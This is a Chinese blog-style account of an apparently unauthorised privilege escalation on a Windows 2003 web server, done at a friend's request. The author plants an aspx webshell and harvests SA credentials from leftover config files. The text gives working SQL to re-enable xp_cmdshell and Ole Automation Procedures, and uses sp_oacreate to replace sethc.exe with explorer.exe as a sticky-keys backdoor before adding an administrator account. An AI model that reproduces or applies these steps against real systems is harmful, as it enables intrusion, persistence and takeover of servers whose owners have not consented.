一次简单的SA提权记录
朋友发来一个站叫我提权,没事就去看了一下,顺便做个记录吧,很久没去提服务器了,也不是很在行。
拿到shell看了一下支持aspx就直接的传了一个aspx大马。
直接来到cmd命令,看能不能执行系统命令。
提示“拒绝访问。 ”
好吧,还是自己传个cmd上去吧,看了一下目录权限发现权限并不大, 各盘根目录都没法访问,手动测试了几个常见可执行目录发现也无法访问,最后发现web目录下竟然可执行--
好吧,看样子是管理员疏忽了。
先不管那么多,可以执行cmd就好办了,看一下当前权限:
nt authority\network service
意料之中,systeminfo查看一下系统信息:
32位win2003的系统。补丁也只打了一百来个,所以先考虑的就是本地溢出了。
目测一下pr可秒。
传一个pr上去执行发现没有回显,
接着尝试了各种溢出的exp发现都是无回显。Net user 同样是无回显。
服务器应该装了什么防火墙吧。
溢出就先不考虑了,来看看第三方服务。
先大马扫一下常见端口:
开放了1433,3306 所以考虑Mysql和Mssql提权。
接下来自然是找SA和Root
网站是asp.net的程序,之前翻到几个分站是php的,很果断的到data目录下翻到了配置文件,发现并不是root,
然后发现下面还有一个 “复件 config.php”文件? 打开来发现
发现user是root,可能是管理员之前配置数据库备份了一份然后忘了删掉吧。Root密码到手了,传个php的马儿连接测试一下发现又失败了。看样子密码还是改过了啊。
放弃mysql来找找sa密码吧。
到主站翻出配置文件发现没有sql连接配置信息。
找个asp.net的分站成功找到了数据库连接配置信息,但又不是SA..
之后只能在shell里乱翻了,在一个不起眼的目录里有了意外的发现:
没想到竟然会是SA.,
好吧,终究还是被我给找到了。
到大马里连接一下
很果断的调用xp_cmdshell执行系统命令:
提示:Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
Sqlserver2005默认是禁用了xp_cmdshell的,
这种情况也很好解决的,用下面的SQL语句启用xp_cmdshell就OK了:
;EXEC sp_configure 'show advanced options', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options', 0 –
再次执行命令又出现了新的问题:
Message:在执行 xp_cmdshell 的过程中出错。调用 'CreateProcess' 失败,错误代码: '5'。
创建线程失败??
可能是cmd被删了吧。
其实整个过程下来已经无数次提示Connection Timedout了。。所以一直觉得是有防火墙。
能坚持下来还真是不容易。。。
好吧,既然都折腾这么久了就再继续下去吧。
再回到大马里查看一下远程端口,看看有没有别人留下来的shift后门。
注册表里翻到远程端口后发现setch.exe和放大镜都没有被替换过。
这时想到了自己去替换setch,回到sa 调用sql
主要还是做个尝试,利用sp_oacreate这个存储过程调用odsole70.dll来执行
肯定也要先恢复sp_oacreate:
Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
然后就是重点:
将explorer.exe复制为sethc.exe
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
将sethc.exe复制到dllcache目录下
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe';
执行完后重新连接远程桌面:
敲5下shift键:
成功弹出了explorer.exe
终于还是搞定了,果断的到计算机管理添加了一个账号进服务器:
可以看到装了360主机卫士。。然后运行cmd发现cmd也是不存在的。看样子之前的猜想是对的...
最后成功获取服务器权限后记得把setch替换回去或者直接删掉。以免后人直接爆菊。
评论